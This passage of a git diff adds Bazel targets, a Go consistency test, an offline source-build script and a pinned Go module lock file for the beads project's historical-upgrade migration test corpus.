"c1c4b642ac1c08d8c828007a1c2f96e47e43ef7c", + "ref": "refs/tags/v1.3.1" + }, + "source_zip": { + "sha256": "018ce9faca318c0d8c54bde035ddf62bdfc7f45980ef0c92359dc1369bea9c24", + "size": 12443826 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.3.1", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 53304363, + "name": "beads_1.3.1_linux_amd64.tar.gz", + "digest": "sha256:3219443a9734b89b93fb16ee8d65844759fa1b3cd3cf139c606b7353cfb0715c" + } + } } ], "repository_tag_drift": [ @@ -2459,7 +2551,12 @@ "exclusions": { "proxy_prereleases": [ "v1.1.0-rc.1", - "v1.1.0-rc.2" + "v1.1.0-rc.2", + "v1.2.2-rc.1", + "v1.3.0-rc.1", + "v1.3.0-rc.2", + "v1.3.1-rc.1", + "v1.3.1-rc.2" ], "repository_only_stable_tags": [ "v0.57.12", diff --git a/scripts/migration_corpus_bazel_test.go b/scripts/migration_corpus_bazel_test.go new file mode 100644 index 000000000..70daeb452 --- /dev/null +++ b/scripts/migration_corpus_bazel_test.go @@ -0,0 +1,187 @@ +package scripts_test + +import ( + "encoding/json" + "regexp" + "slices" + "strings" + "testing" +) + +// The historical-upgrade corpus runs as //tests/migration's per-release +// targets. Their release list and their pinned inputs live in Bazel files; +// scripts/migration-test/lib/versions.sh stays the reviewed definition of the +// corpus. These checks keep the two equal, so a release added to the corpus +// gets a target and a pinned binary, and a target never runs a binary whose +// digest differs from the one the harness would have verified. + +// bashArray returns the elements of `declare -ar NAME=( ... )` in versions.sh. +func bashArray(t *testing.T, src, name string) []string { + t.Helper() + m := regexp.MustCompile(`(?s)declare -ar ` + name + `=\((.*?)\)`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("versions.sh has no array %s", name) + } + return regexp.MustCompile(`"([^"]+)"`).FindAllString(m[1], -1) +} + +// bashScalar returns the value of `readonly NAME="..."` in versions.sh. +func bashScalar(t *testing.T, src, name string) string { + t.Helper() + m := regexp.MustCompile(`(?m)^readonly ` + name + `="([^"]*)"$`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("versions.sh has no scalar %s", name) + } + return m[1] +} + +// starlarkList returns the string elements of `NAME = [ ... ]` in a BUILD file. +func starlarkList(t *testing.T, src, name string) []string { + t.Helper() + m := regexp.MustCompile(`(?s)\n` + name + ` = \[(.*?)\]`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("tests/migration/BUILD.bazel has no list %s", name) + } + var out []string + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { + out = append(out, q[1]) + } + return out +} + +func unquote(items []string) []string { + out := make([]string, len(items)) + for i, s := range items { + out[i] = strings.Trim(s, `"`) + } + return out +} + +func sortedSet(items ...[]string) []string { + var out []string + for _, list := range items { + out = append(out, list...) + } + slices.Sort(out) + return slices.Compact(out) +} + +func TestMigrationCorpusBazelTargetsMatchVersionsSh(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + build := readPolicyFile(t, root, "tests/migration/BUILD.bazel") + + sqlite := []string{ + bashScalar(t, versions, "SOURCE_TAG_SQLITE_VERSION"), + bashScalar(t, versions, "PRE_CANONICAL_SQLITE_VERSION"), + bashScalar(t, versions, "CLASSIC_SQLITE_VERSION"), + bashScalar(t, versions, "CONFIGURED_SQLITE_VERSION"), + } + server := unquote(bashArray(t, versions, "HISTORICAL_DOLT_VERSIONS")) + embedded := unquote(bashArray(t, versions, "EMBEDDED_DOLT_VERSIONS")) + wisp := unquote(bashArray(t, versions, "WISP_PLANE_VERSIONS")) + + if got, want := sortedSet(starlarkList(t, build, "_CORPUS")), sortedSet(sqlite, server, embedded); !slices.Equal(got, want) { + t.Errorf("tests/migration _CORPUS = %v, want versions.sh's corpus %v", got, want) + } + if got, want := sortedSet(starlarkList(t, build, "_DOLT_RUNTIME")), sortedSet(server, wisp); !slices.Equal(got, want) { + t.Errorf("tests/migration _DOLT_RUNTIME = %v, want HISTORICAL_DOLT_VERSIONS + WISP_PLANE_VERSIONS %v", got, want) + } + if m := regexp.MustCompile(`(?m)^_SOURCE_TAG = "([^"]+)"$`).FindStringSubmatch(build); m == nil || m[1] != sqlite[0] { + t.Errorf("tests/migration _SOURCE_TAG = %v, want SOURCE_TAG_SQLITE_VERSION %s", m, sqlite[0]) + } + if !strings.Contains(build, `"github.com/steveyegge/beads `+sqlite[0]+` `+bashScalar(t, versions, "SOURCE_TAG_SQLITE_GO_TOOLCHAIN")+`"`) { + t.Errorf("tests/migration:bd_source_tag does not build %s@%s with %s", + bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE"), sqlite[0], bashScalar(t, versions, "SOURCE_TAG_SQLITE_GO_TOOLCHAIN")) + } +} + +// Every pinned release a target runs is the archive lib/binary.sh would have +// downloaded and verified: the catalog's linux/amd64 digest (what +// @bd_releases checks) equals STRICT_RELEASE_SHA256. +func TestMigrationCorpusCatalogDigestsMatchStrictPins(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + var catalog struct { + Versions []struct { + Version string `json:"version"` + GithubRelease *struct { + Asset *struct { + Name string `json:"name"` + Digest string `json:"digest"` + } `json:"linux_amd64_asset"` + } `json:"github_release"` + SourceZip struct { + SHA256 string `json:"sha256"` + } `json:"source_zip"` + } `json:"versions"` + } + if err := json.Unmarshal([]byte(readPolicyFile(t, root, "scripts/migration-test/release-catalog.json")), &catalog); err != nil { + t.Fatal(err) + } + digests, sourceZips := map[string]string{}, map[string]string{} + for _, v := range catalog.Versions { + sourceZips[v.Version] = v.SourceZip.SHA256 + if v.GithubRelease != nil && v.GithubRelease.Asset != nil { + digests[v.Version] = strings.TrimPrefix(v.GithubRelease.Asset.Digest, "sha256:") + } + } + pins := regexp.MustCompile(`\["(v[^|"]+)\|linux\|amd64"\]="([0-9a-f]{64})"`).FindAllStringSubmatch(versions, -1) + if len(pins) == 0 { + t.Fatal("versions.sh has no linux/amd64 STRICT_RELEASE_SHA256 pins") + } + for _, p := range pins { + if got := digests[p[1]]; got != p[2] { + t.Errorf("%s: catalog linux_amd64 digest %q, versions.sh STRICT_RELEASE_SHA256 %q", p[1], got, p[2]) + } + } + + // The source-tag build's own module zip is the catalog's source_zip. + var lock struct { + Module string `json:"module"` + Version string `json:"version"` + Modules []struct { + Path string `json:"path"` + Version string `json:"version"` + ZipSHA256 string `json:"zip_sha256"` + } `json:"modules"` + } + if err := json.Unmarshal([]byte(readPolicyFile(t, root, "tests/migration/source_tag_modules.json")), &lock); err != nil { + t.Fatal(err) + } + if want := bashScalar(t, versions, "SOURCE_TAG_SQLITE_VERSION"); lock.Version != want || lock.Module != bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE") { + t.Errorf("source_tag_modules.json pins %s@%s, want %s@%s", lock.Module, lock.Version, bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE"), want) + } + found := false + for _, m := range lock.Modules { + if m.Path == lock.Module && m.Version == lock.Version { + found = true + if m.ZipSHA256 != sourceZips[lock.Version] { + t.Errorf("source_tag_modules.json %s zip %q, catalog source_zip %q", lock.Version, m.ZipSHA256, sourceZips[lock.Version]) + } + } + } + if !found { + t.Errorf("source_tag_modules.json does not pin %s@%s itself", lock.Module, lock.Version) + } +} + +// The external Dolt runtime the server-Dolt and wisp-plane lanes run is the +// one versions.sh pins: same release, same archive digest. +func TestMigrationDoltRuntimeMatchesVersionsSh(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + version := strings.TrimPrefix(bashScalar(t, versions, "DOLT_TEST_RUNTIME_VERSION"), "v") + digest := bashScalar(t, versions, "DOLT_TEST_RUNTIME_SHA256") + + module := readPolicyFile(t, root, "MODULE.bazel") + m := regexp.MustCompile(`(?s)name = "dolt_test_runtime_linux_amd64",\s*platform = "linux-amd64",\s*version = "([^"]+)",`).FindStringSubmatch(module) + if m == nil || m[1] != version { + t.Errorf("MODULE.bazel's dolt_test_runtime_linux_amd64 = %v, want version %q", m, version) + } + bzl := readPolicyFile(t, root, "tools/bazel/dolt.bzl") + d := regexp.MustCompile(`(?s)"` + regexp.QuoteMeta(version) + `": \{\s*"linux-amd64": "([0-9a-f]{64})",`).FindStringSubmatch(bzl) + if d == nil || d[1] != digest { + t.Errorf("tools/bazel/dolt.bzl DOLT_SHA256[%q][linux-amd64] = %v, want %s", version, d, digest) + } +} diff --git a/tests/migration/BUILD.bazel b/tests/migration/BUILD.bazel new file mode 100644 index 000000000..4d5bf1f21 --- /dev/null +++ b/tests/migration/BUILD.bazel @@ -0,0 +1,131 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") +load(":defs.bzl", "historical_upgrade_tests") + +# The historical-upgrade corpus (formerly migration-test.yml), one target per +# reviewed release: historical_upgrade_test.sh runs +# scripts/migration-test/historical-dolt-upgrade-test.sh --version +# against the non-race bd_for_tests. Every historical bd a release's lanes run +# is pinned: the published releases from the release catalog (@bd_releases, +# sha256-verified when Bazel fetches them), the source-tag v0.9.1 built +# offline below (:bd_source_tag). Where the lanes host a server-Dolt fixture +# or read the wisp plane, the pinned external Dolt runtime +# (@dolt_test_runtime_linux_amd64) is DOLT_BIN. Nothing is downloaded at test +# time, so the targets run remotely like any other, in the PR-core lane +# (bazel-test), and a target re-runs only when the candidate, the harness or +# a pinned binary changes. +# +# _CORPUS must equal scripts/migration-test/lib/versions.sh's corpus (the +# SQLite bridges, HISTORICAL_DOLT_VERSIONS and EMBEDDED_DOLT_VERSIONS), and +# _DOLT_RUNTIME its HISTORICAL_DOLT_VERSIONS plus WISP_PLANE_VERSIONS +# (scripts/migration_corpus_bazel_test.go). _HELPERS are the releases a lane +# runs besides its own: the classic SQLite bridge (v0.49.6) and the +# server-Dolt canonicalizer (v0.62.0). +_SOURCE_TAG = "v0.9.1" + +_CORPUS = [ + "v0.9.1", + "v0.17.0", + "v0.49.6", + "v0.50.3", + "v0.55.4", + "v0.56.1", + "v0.57.0", + "v0.62.0", + "v0.63.3", + "v1.0.0", + "v1.0.1", + "v1.1.0", + "v1.1.2", + "v1.2.2", +] + +_DOLT_RUNTIME = [ + "v0.55.4", + "v0.56.1", + "v0.57.0", + "v0.62.0", + "v1.0.1", + "v1.1.0", + "v1.1.2", + "v1.2.2", +] + +_HELPERS = [ + "v0.49.6", + "v0.62.0", +] + +# Tags: +# pr-core-only: shell tests against the release-shaped bd_for_tests (no +# integration tag); the integration lane, which requires Go testcases, +# leaves them out. +historical_upgrade_tests( + corpus = _CORPUS, + dolt_runtime = _DOLT_RUNTIME, + helpers = _HELPERS, + source_tag = _SOURCE_TAG, + source_tag_bin = ":bd_source_tag", + tags = ["pr-core-only"], +) + +exports_files( + ["source_tag_modules.json"], + visibility = ["//visibility:public"], +) + +# The source-tag SQLite release (v0.9.1: no release asset; its CLI reports +# 0.9.0 (dev)), built from its module source with Go 1.25.0 and CGO like +# lib/binary.sh's build_verified_v091_source_binary, but offline: the module +# zips and go.mod files come from source_tag_modules.json (the release's own +# zip is the catalog's source_zip), and go checks them against the release's +# go.sum. Regenerate the lock with gen_source_tag_lock.py. +genrule( + name = "bd_source_tag", + srcs = [ + "@bd_source_tag_goproxy//:proxy", + "@go_1_25_0_linux_amd64//:go/bin/go", + "@go_1_25_0_linux_amd64//:sdk", + ], + outs = ["bd_source_tag/bd"], + cmd = "$(execpath build_source_tag.sh) $@ $(execpath @go_1_25_0_linux_amd64//:go/bin/go) " + + "$$(echo $(execpaths @bd_source_tag_goproxy//:proxy) | cut -d' ' -f1) " + + "github.com/steveyegge/beads v0.9.1 go1.25.0", + target_compatible_with = LINUX_AMD64, + tools = ["build_source_tag.sh"], +) + +# The public sealed-copy SQLite bridge's fast safety checks (fake binaries +# only), which run.sh ran before every release. +# +# Tags: +# pr-core-only: a shell test; the integration lane, which requires Go +# testcases, leaves it out. +sh_test( + name = "legacy_bridge_test", + srcs = ["legacy_bridge_test.sh"], + data = ["//scripts:migration_harness"], + tags = ["pr-core-only"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/migration/build_source_tag.sh b/tests/migration/build_source_tag.sh new file mode 100755 index 000000000..21bcb1aad --- /dev/null +++ b/tests/migration/build_source_tag.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash +# build-tags: allow-bare (builds a historical release from its own module +# source with its own go.mod, exactly as lib/binary.sh does; that release +# predates gms_pure_go and must not be built with today's tags) +# Builds a historical bd from its module source, offline, the way +# scripts/migration-test/lib/binary.sh's build_verified_v091_source_binary +# does with network access: `go mod download` the module, then `go build +# -trimpath ./cmd/bd` in its directory with CGO and a writable copy of its +# go.mod, using the Go release it was qualified on. +# +# Usage: build_source_tag.sh +# Paths are execroot-relative ($(execpath ...)). GOPROXY is the pinned +# file:// tree (tools/bazel/go_module_proxy.bzl), so every module is a +# sha256-verified input, and go checks each dependency against the module's +# go.sum; GOSUMDB is off because there is no network to reach it. +set -euo pipefail +out="$1" go_bin="$2" proxy_file="$3" module="$4" version="$5" go_version="$6" +root="$PWD" +tmp="$(mktemp -d)" +trap 'chmod -R u+w "$tmp" 2>/dev/null || true; rm -rf "$tmp"' EXIT +export GOROOT="$root/${go_bin%/bin/go}" +export PATH="$GOROOT/bin:$PATH" +export HOME="$tmp/home" GOPATH="$tmp/gopath" GOMODCACHE="$tmp/mod" GOCACHE="$tmp/cache" +export GOPROXY="file://$root/${proxy_file%%/proxy/*}/proxy" GOSUMDB=off GONOSUMDB= GOPRIVATE= GONOPROXY= +export GOFLAGS=-modcacherw GOWORK=off GOTOOLCHAIN=local GO111MODULE=on +export CGO_ENABLED=1 GOOS=linux GOARCH=amd64 +mkdir -p "$HOME" "$tmp/scratch" +got="$(cd "$tmp/scratch" && go env GOVERSION)" +if [[ "$got" != "$go_version" ]]; then + echo "build_source_tag: $module@$version needs $go_version, the pinned SDK is $got" >&2 + exit 1 +fi +(cd "$tmp/scratch" && go mod download "$module@$version") +src="$GOMODCACHE/$module@$version" +cp -f "$src/go.mod" "$tmp/source.mod" +cp -f "$src/go.sum" "$tmp/source.sum" +chmod u+w "$tmp/source.mod" "$tmp/source.sum" +(cd "$src" && go build -trimpath -modfile="$tmp/source.mod" -o "$root/$out" ./cmd/bd) diff --git a/tests/migration/defs.bzl b/tests/migration/defs.bzl new file mode 100644 index 000000000..78823a465 --- /dev/null +++ b/tests/migration/defs.bzl @@ -0,0 +1,52 @@ +"""One Bazel test per historical-upgrade corpus release (see BUILD.bazel).""" + +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") +load("//tools/bazel:dolt.bzl", "hermetic_bin") + +_DOLT_RUNTIME_LABEL = "@dolt_test_runtime_linux_amd64//:dolt" + +def historical_upgrade_tests(corpus, dolt_runtime, helpers, source_tag, source_tag_bin, tags): + """Declares historical_upgrade__test and its release directory per corpus release. + + Args: + corpus: every release the corpus upgrades from. + dolt_runtime: the releases whose lanes need the external Dolt runtime. + helpers: releases every lane may run besides its own (bridges). + source_tag: the release built from source (no @bd_releases entry). + source_tag_bin: the label of that source build. + tags: the tests' tags. + """ + for v in corpus: + suffix = v.replace(".", "_") + releases = {r: None for r in [v] + helpers if r != source_tag} + hermetic_bin( + name = "releases_" + suffix, + target_compatible_with = LINUX_AMD64, + tools = {"@bd_releases//:" + r: r for r in sorted(releases.keys())}, + ) + data = [ + ":releases_" + suffix, + "//cmd/bd:bd_for_tests", + "//scripts:migration_harness", + ] + env = { + "CANDIDATE_BIN": "$(rootpath //cmd/bd:bd_for_tests)", + "HISTORICAL_RELEASE_DIR": "{}/releases_{}".format(native.package_name(), suffix), + } + if v in dolt_runtime: + data.append(_DOLT_RUNTIME_LABEL) + env["DOLT_BIN"] = "$(rootpath {})".format(_DOLT_RUNTIME_LABEL) + if v == source_tag: + data.append(source_tag_bin) + env["SOURCE_TAG_SQLITE_BIN"] = "$(rootpath {})".format(source_tag_bin) + sh_test( + name = "historical_upgrade_{}_test".format(suffix), + size = "large", + srcs = ["historical_upgrade_test.sh"], + args = [v], + data = data, + env = env, + tags = tags, + target_compatible_with = LINUX_AMD64, + ) diff --git a/tests/migration/gen_source_tag_lock.py b/tests/migration/gen_source_tag_lock.py new file mode 100644 index 000000000..f4bb82ac7 --- /dev/null +++ b/tests/migration/gen_source_tag_lock.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +"""Regenerate source_tag_modules.json: the Go module proxy files that build the +source-tag SQLite release (v0.9.1, which has no release asset) offline. + +Usage: python3 tests/migration/gen_source_tag_lock.py + +It fetches the release's module zip from proxy.golang.org, checks it against +the release catalog's source_zip sha256, reads the go.sum inside it, and +records the sha256 of every .mod and .zip that go.sum names (plus the +release's own .mod and .zip). tools/bazel/go_module_proxy.bzl downloads +exactly these files, verified, into a file:// GOPROXY tree; go then checks +every dependency against that go.sum as well. Network required; run it by +hand when the source-tag release changes, never in CI. +""" + +import hashlib +import io +import json +import os +import sys +import urllib.request +import zipfile + +ROOT = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +CATALOG = os.path.join(ROOT, "scripts", "migration-test", "release-catalog.json") +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "source_tag_modules.json") +PROXY = "https://proxy.golang.org" +MODULE = "github.com/steveyegge/beads" +VERSION = "v0.9.1" + + +def escape(path): + """Module path case-encoding of the proxy protocol (go.dev/ref/mod#goproxy-protocol).""" + return "".join("!" + c.lower() if c.isupper() else c for c in path) + + +def fetch(url): + with urllib.request.urlopen(url, timeout=60) as resp: + return resp.read() + + +def sha256(data): + return hashlib.sha256(data).hexdigest() + + +def main(): + with open(CATALOG) as f: + catalog = json.load(f) + entry = next(e for e in catalog["versions"] if e["version"] == VERSION) + base = f"{PROXY}/{escape(MODULE)}/@v/{VERSION}" + zip_data = fetch(base + ".zip") + if sha256(zip_data) != entry["source_zip"]["sha256"]: + sys.exit(f"{MODULE}@{VERSION}.zip does not match the catalog's source_zip sha256") + gosum = zipfile.ZipFile(io.BytesIO(zip_data)).read(f"{MODULE}@{VERSION}/go.sum").decode() + + wants = {} # (path, version) -> needs zip + for line in gosum.splitlines(): + fields = line.split() + if len(fields) != 3: + continue + path, version = fields[0], fields[1] + if version.endswith("/go.mod"): + wants.setdefault((path, version[: -len("/go.mod")]), False) + else: + wants[(path, version)] = True + + modules = [{ + "path": MODULE, + "version": VERSION, + "mod_sha256": sha256(fetch(base + ".mod")), + "zip_sha256": entry["source_zip"]["sha256"], + }] + for (path, version), needs_zip in sorted(wants.items()): + url = f"{PROXY}/{escape(path)}/@v/{version}" + m = {"path": path, "version": version, "mod_sha256": sha256(fetch(url + ".mod"))} + if needs_zip: + m["zip_sha256"] = sha256(fetch(url + ".zip")) + modules.append(m) + print(f"{path}@{version}", file=sys.stderr) + + with open(OUT, "w") as f: + json.dump({"module": MODULE, "version": VERSION, "modules": modules}, f, indent=2, sort_keys=True) + f.write("\n") + + +if __name__ == "__main__": + main() diff --git a/tests/migration/historical_upgrade_test.sh b/tests/migration/historical_upgrade_test.sh new file mode 100755 index 000000000..6f3be5f0d --- /dev/null +++ b/tests/migration/historical_upgrade_test.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +# One release of the historical-upgrade corpus (formerly migration-test.yml's +# `scripts/migration-test/run.sh --version ` loop), as a Bazel test: +# scripts/migration-test/historical-dolt-upgrade-test.sh against the +# candidate, with every historical binary it runs pre-pinned in +# HISTORICAL_RELEASE_DIR (lib/binary.sh downloads nothing then), the +# source-built v0.9.1 as SOURCE_TAG_SQLITE_BIN for that release, and, for the +# releases that need it, the pinned external Dolt runtime as DOLT_BIN. +# +# The first argument is the release. The BUILD file passes the paths as +# runfiles-relative paths ($(rootpath ...), relative to the working +# directory Bazel starts the test in); they are made absolute here, before +# the harness changes directory. Any further arguments (a lane's +# --test_arg flags, meant for Go test binaries) are ignored. +set -euo pipefail +release="$1" +abs() { printf '%s/%s\n' "$PWD" "$1"; } +CANDIDATE_BIN="$(abs "${CANDIDATE_BIN:?}")" +HISTORICAL_RELEASE_DIR="$(abs "${HISTORICAL_RELEASE_DIR:?}")" +export CANDIDATE_BIN HISTORICAL_RELEASE_DIR +if [[ -n "${DOLT_BIN:-}" ]]; then + DOLT_BIN="$(abs "$DOLT_BIN")" + export DOLT_BIN +fi +if [[ -n "${SOURCE_TAG_SQLITE_BIN:-}" ]]; then + SOURCE_TAG_SQLITE_BIN="$(abs "$SOURCE_TAG_SQLITE_BIN")" + export SOURCE_TAG_SQLITE_BIN +fi +exec scripts/migration-test/historical-dolt-upgrade-test.sh --version "$release" diff --git a/tests/migration/legacy_bridge_test.sh b/tests/migration/legacy_bridge_test.sh new file mode 100755 index 000000000..3be2d02f9 --- /dev/null +++ b/tests/migration/legacy_bridge_test.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash +# The public SQLite bridge's fast safety checks (fake binaries only), which +# scripts/migration-test/run.sh runs before the corpus. Runs the harness in +# place, so it finds its siblings (lib/, ../migrate-legacy-to-current.sh); +# arguments are ignored. +set -euo pipefail +exec scripts/migration-test/legacy-bridge-test.sh diff --git a/tests/migration/source_tag_modules.json b/tests/migration/source_tag_modules.json new file mode 100644 index 000000000..f3366e361 --- /dev/null +++ b/tests/migration/source_tag_modules.json @@ -0,0 +1,166 @@ +{ + "module": "github.com/steveyegge/beads", + "modules": [ + { + "mod_sha256": "7951983a1500203e1281e3e60e113105ef53a8f69e02d2aca3c2c190f77abada", + "path": "github.com/steveyegge/beads", + "version": "v0.9.1", + "zip_sha256": "a45a701fd720b89c08ce0993cb6771c5d3300dc8f96f5669e8a85aa30bc80de1" + }, + { + "mod_sha256": "bb81a9e2d14d9a586f0591853bdaad230d8cdf0d8d6ffa71dddae249ad573cc9", + "path": "github.com/cpuguy83/go-md2man/v2", + "version": "v2.0.6" + }, + { + "mod_sha256": "8732da74f45ec4c0ea5a7a3072c4d458aafb6102af75155d459dcb70afce6ae6", + "path": "github.com/fatih/color", + "version": "v1.18.0", + "zip_sha256": "4dc6907b7f6807b37c21ad527d966437d398f03472115f471eaa8fe5875363d3" + }, + { + "mod_sha256": "da3713c5c57d252d25520de0e6b397b033858b3aff5dddf21164abe3297c9ff9", + "path": "github.com/fsnotify/fsnotify", + "version": "v1.9.0", + "zip_sha256": "94e64824b23591b7aa504e3321d5ec3f57de88f4d49882eaefbbf6820dab746e" + }, + { + "mod_sha256": "5393fe364f1a200c6a84ee2c7bf727f02c9e0b1f844ca13b188ca925f4718b08", + "path": "github.com/go-viper/mapstructure/v2", + "version": "v2.4.0", + "zip_sha256": "33e0398e34eca4b1b8c9d91318dd3be871811aee6e2ababc82c02280dcca296a" + }, + { + "mod_sha256": "1c1b15911aa8a0bd5cd0f6670ec23d1086496f3615fdf53306aff2b476ce9be1", + "path": "github.com/inconshreveable/mousetrap", + "version": "v1.1.0", + "zip_sha256": "526674de624d7db108cfe7653ef110ccdfd97bc85026254224815567928ed243" + }, + { + "mod_sha256": "d6743ae2eae65716122f12b42c9f3f83a805c0ae32bd3c553d4a6f1bcb9243a5", + "path": "github.com/mattn/go-colorable", + "version": "v0.1.13", + "zip_sha256": "08be322dcc584a9fcfde5caf0cf878b4e11cd98f252e32bc704e92c5a4ba9d15" + }, + { + "mod_sha256": "714766ec82d67db895ade8af6b8054ad430c3cea5e15b3a888f23ed2f3e1b863", + "path": "github.com/mattn/go-isatty", + "version": "v0.0.16" + }, + { + "mod_sha256": "1eeabef1b4d98db73c6c2073289163649bc9a044552aca86b9d592fe84eaa1c8", + "path": "github.com/mattn/go-isatty", + "version": "v0.0.20", + "zip_sha256": "f2d5f89ca451577e17464b9bb596dc0d0ecececb5eaa63622c41b57cd0b7b8cc" + }, + { + "mod_sha256": "bc9235ee6e4e60243f1e7dcacf0caa4d480afcdf06ed78e481fd127e9e3119df", + "path": "github.com/mattn/go-sqlite3", + "version": "v1.14.32", + "zip_sha256": "c70101000256656bc0b7286807cf177852c753a001a3aa3c55d5373575fb81aa" + }, + { + "mod_sha256": "72b2ddd20583039d110a50147c63fd1e419a5c4acc1ba8f28881f1df4486abae", + "path": "github.com/pelletier/go-toml/v2", + "version": "v2.2.4", + "zip_sha256": "82162be7b85077f3be49bfe0f1e01f308b9c9554c72a980a22a34432f94885f0" + }, + { + "mod_sha256": "c39547cce6e866e8cfa395d2937bce30801cd07f0b901c2133248f1fba12f58d", + "path": "github.com/russross/blackfriday/v2", + "version": "v2.1.0" + }, + { + "mod_sha256": "61f9956a081c0abc80468039819c9bc5c1d51236b48f864bce6540cf0e5cbfa4", + "path": "github.com/sagikazarmark/locafero", + "version": "v0.11.0", + "zip_sha256": "6c2a9bdf9567f63caebf47694d94acd4350b1d4d69f13c3188f4e7e82939f6a5" + }, + { + "mod_sha256": "1a03e9553a071b4371a6e72483b440fda7b591693403531d090286da73c7d1fc", + "path": "github.com/sourcegraph/conc", + "version": "v0.3.1-0.20240121214520-5f936abd7ae8", + "zip_sha256": "6db56fe285f78ba994a77d676d790b1db85a47cc8948a42d4c2f6ca6200b9413" + }, + { + "mod_sha256": "b9ecbcbeeccb9da252f2b75a7f05a10c21f874a448a5e1294f115e47ba893e22", + "path": "github.com/spf13/afero", + "version": "v1.15.0", + "zip_sha256": "d03a0bbce87eeaa1c23f0c0276707bb2d59f46efee875d7d7f1d570201be6e1f" + }, + { + "mod_sha256": "fef5e4baa2ea6235860469e13b663f5fb26a7047983e05fdb3bf60ea843530f1", + "path": "github.com/spf13/cast", + "version": "v1.10.0", + "zip_sha256": "7c7ba27f9979ada980c2a69f6b2fdf7b4ce1f2b766e245c0a4716f546ad7ddce" + }, + { + "mod_sha256": "a501ef186772adafdaabb7aa78623b691890e87accd0715674e69949da6b586e", + "path": "github.com/spf13/cobra", + "version": "v1.10.1", + "zip_sha256": "00955783267c9ced54274df456377a15bc1b658362f93f85dfda0708b54f9a28" + }, + { + "mod_sha256": "16c6dfc0eb58eb3c9113ce197d460c6725c647e4688ac26d31c8ed69f1ebbc68", + "path": "github.com/spf13/pflag", + "version": "v1.0.10", + "zip_sha256": "a246b8c9d3daa87d6c634cdfee1bdf7fa53d5817eeef4fa0c6da43edd12de4ca" + }, + { + "mod_sha256": "16c6dfc0eb58eb3c9113ce197d460c6725c647e4688ac26d31c8ed69f1ebbc68", + "path": "github.com/spf13/pflag", + "version": "v1.0.9" + }, + { + "mod_sha256": "671ff6030ff3b0300240c833789512a5b8819cee89a819db7bb20a6a44906b29", + "path": "github.com/spf13/viper", + "version": "v1.21.0", + "zip_sha256": "4096e4ccdbb74027c49f0dfede6d67193053b0d1c1ecce57543cf3dacc7b249e" + }, + { + "mod_sha256": "8b2d8bc78b5def106360867a82ad82c5a4e9de93542f0a207087bb38384f55bf", + "path": "github.com/subosito/gotenv", + "version": "v1.6.0", + "zip_sha256": "142db3dd2328e744c157e85cf3291d027013b79f92a45984f860fe38bc0f1f8d" + }, + { + "mod_sha256": "2989f8b800605890ad40cf49109b0b6a972bda79d92df236d40ddb798093127e", + "path": "go.yaml.in/yaml/v3", + "version": "v3.0.4", + "zip_sha256": "0317dae56eaa9e9954467c8768fd6a89ba2005f1534e2c26fce5163ad8d2ef31" + }, + { + "mod_sha256": "f033333096fe198f3151deed93f2deba74e50bbfe7739134045bc3b7ce4a5024", + "path": "golang.org/x/sys", + "version": "v0.0.0-20220811171246-fbc7d0a398ab" + }, + { + "mod_sha256": "d227b325f621f4ebe28d39ba773ea99b870f393b7c09c34592c365b16dd560de", + "path": "golang.org/x/sys", + "version": "v0.29.0", + "zip_sha256": "1d759c017d09328a4dacdd4a1a0170cf21641995c6e3ca1f96213369d73c6846" + }, + { + "mod_sha256": "f033333096fe198f3151deed93f2deba74e50bbfe7739134045bc3b7ce4a5024", + "path": "golang.org/x/sys", + "version": "v0.6.0" + }, + { + "mod_sha256": "5114acdbfab7e7a097808d0bd4cdf06e3a3043e4bc5e4e4974715d664502698a", + "path": "golang.org/x/text", + "version": "v0.28.0", + "zip_sha256": "46259e1416ae7ec6adf1867c5f9fab32af0476a148e3c95f1dfbb134f4acf48d" + }, + { + "mod_sha256": "5c306e0d633cd66a11b40e2e5fbbc6da42110db7d72ea3c1524ceb45ee40c33f", + "path": "gopkg.in/check.v1", + "version": "v0.0.0-20161208181325-20d25e280405" + }, + { + "mod_sha256": "21579860a20306fcf43b1bd234d1fba319499c77611b71c05f9bf3ba90dab939", + "path": "gopkg.in/yaml.v3", + "version": "v3.0.1" + } + ], + "version": "v0.9.1" +} diff --git a/tools/bazel/dolt.bzl b/tools/bazel/dolt.bzl index c387da81a..13b1f884c 100644 --- a/tools/bazel/dolt.bzl +++ b/tools/bazel/dolt.bzl @@ -18,6 +18,12 @@ DOLT_VERSION = "2.2.0" # sha256 alone). They match the asset digests GitHub reports for the release # (`gh api repos/dolthub/dolt/releases/tags/v`). DOLT_SHA256 = { + # The migration corpus's external Dolt runtime (DOLT_TEST_RUNTIME_VERSION + # and _SHA256 in scripts/migration-test/lib/versions.sh), linux/amd64 + # only: @dolt_test_runtime_linux_amd64 in MODULE.bazel. + "2.1.8": { + "linux-amd64": 